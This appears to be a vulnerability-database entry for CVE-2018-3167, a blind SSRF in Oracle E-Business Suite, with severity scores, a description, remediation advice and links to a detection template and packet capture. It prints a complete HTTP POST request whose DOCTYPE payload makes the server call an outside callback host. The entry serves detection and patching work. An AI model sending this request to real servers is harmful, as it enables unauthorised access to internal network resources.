🔙 목록으로 돌아가기

CVE-2018-3167: Oracle E-Business Suite - Blind SSRF

TitleOracle E-Business Suite - Blind SSRF
Authorgeeknik
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to bypass network restrictions and access internal resources.
RemediationApply the necessary patches or updates provided by Oracle to mitigate this vulnerability.
CVSS Score5.3
EPSS Score0.68033
CVE IDCVE-2018-3167
Tags cve cve2018 oracle ebs ssrf blind e-business_suite vuln

🔍 Vulnerability Description

Oracle E-Business Suite, Application Management Pack component (User Monitoring subcomponent), is susceptible to blind server-side request forgery. An attacker with network access via HTTP can gain read access to a subset of data, connect to internal services like HTTP-enabled databases, or perform post requests towards internal services which are not intended to be exposed. Affected supported versions are 12.1.3, 12.2.3, 12.2.4, 12.2.5, 12.2.6, and 12.2.7.

🌐 HTTP Request

POST /OA_HTML/lcmServiceController.jsp HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Content-Length: 55
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

<!DOCTYPE root PUBLIC "-//B/A/EN" "http://interact.sh">

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-3167.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-3167.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A